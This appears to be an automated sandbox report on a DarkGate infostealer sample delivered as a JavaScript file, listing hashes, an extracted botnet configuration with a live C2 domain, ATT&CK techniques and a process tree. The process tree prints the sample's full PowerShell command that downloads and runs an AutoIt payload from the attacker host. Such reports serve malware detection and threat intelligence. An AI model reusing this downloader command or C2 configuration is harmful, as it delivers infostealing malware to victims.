darkgate | 16613e7c07681726ab577e6ac14114cb42691838fa3c6c4c1bef7dafa2c7c4a0

General

Target

app(060e45bf7b57d4).js
Size

252KB
MD5

b428fd3b31d80dbdbbe4ee4949cfbe54
SHA1

3f39780bffd9b6b04dba52843622497606808020
SHA256

16613e7c07681726ab577e6ac14114cb42691838fa3c6c4c1bef7dafa2c7c4a0
SHA512

dd77e51e0d6c573d7fe7a3d5ac50b23fe0d81a3323ad89f80a8a3eadd61dc2cff9a6f86ea7632315ec3549e7528053b3634ebc8aec158a3023ca434ea85988c3
SSDEEP

6144:Fe7hgXeerjqlI2Iro+lJe7hgXeerjqlI2Iro+8:FIhgSlI23mJIhgSlI23V

Score

10^/10

darkgate ads5 stealer

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

C2

http://siliconerumble.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
443
check_disk
true
check_ram
true
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
zSfdFmnnAquXKs
internal_mutex
txtMut
minimum_disk
32
minimum_ram
6003
ping_interval
4
rootkit
true
startup_persistence
true
username
ADS5

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

14 3348 powershell.exe
26 3348 powershell.exe
Downloads MZ/PE file
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation wscript.exe
Executes dropped EXE 1 IoCs

Processes:

AutoIt3.exe

pid process

4396 AutoIt3.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
14	3348	powershell.exe
26	3348	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	wscript.exe

pid	process
4396	AutoIt3.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AutoIt3.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe

pid process

3348 powershell.exe
3348 powershell.exe
3348 powershell.exe
3348 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3348 powershell.exe

pid	process
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe
3348	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3348	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

wscript.exepowershell.exe

description	pid	process	target process
PID 1596 wrote to memory of 3348	1596	wscript.exe	powershell.exe
PID 1596 wrote to memory of 3348	1596	wscript.exe	powershell.exe
PID 3348 wrote to memory of 4396	3348	powershell.exe	AutoIt3.exe
PID 3348 wrote to memory of 4396	3348	powershell.exe	AutoIt3.exe
PID 3348 wrote to memory of 4396	3348	powershell.exe	AutoIt3.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\app(060e45bf7b57d4).js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msitotdjhak' -OutFile 'totdjhak.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'totdjhak.au3'"; Stop-Process -Name "WScript"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" totdjhak.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adm5zfoq.aal.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tepp\totdjhak.au3

Filesize
508KB

MD5
1df0df7aa48965762597452d418db3f3

SHA1
6b2137d66246ad3c994a28141736bc707c88184b

SHA256
52a1722f0614e1c88473f4240ca1f5ac06d952159236014ef721598bc0889408

SHA512
19dbca338a166d355f1d7ed05801e212995053df3805d53decd8898bdd84807a2b0b2d827c277909dd9dd9b5999886117a12812b1c1f05ea988a8a2c701aa39e

Download Submit
memory/3348-0-0x0000021DBFEF0000-0x0000021DBFF12000-memory.dmp

Filesize
136KB

Download
memory/3348-10-0x00007FFFABC20000-0x00007FFFAC6E1000-memory.dmp

Filesize
10.8MB

Download
memory/3348-11-0x0000021DBFF50000-0x0000021DBFF60000-memory.dmp

Filesize
64KB

Download
memory/3348-25-0x00007FFFABC20000-0x00007FFFAC6E1000-memory.dmp

Filesize
10.8MB

Download
memory/4396-28-0x00000000044D0000-0x00000000045D0000-memory.dmp

Filesize
1024KB

Download
memory/4396-29-0x0000000004B80000-0x0000000004D15000-memory.dmp

Filesize
1.6MB

Download
memory/4396-30-0x0000000004B80000-0x0000000004D15000-memory.dmp

Filesize
1.6MB

Download

Analysis

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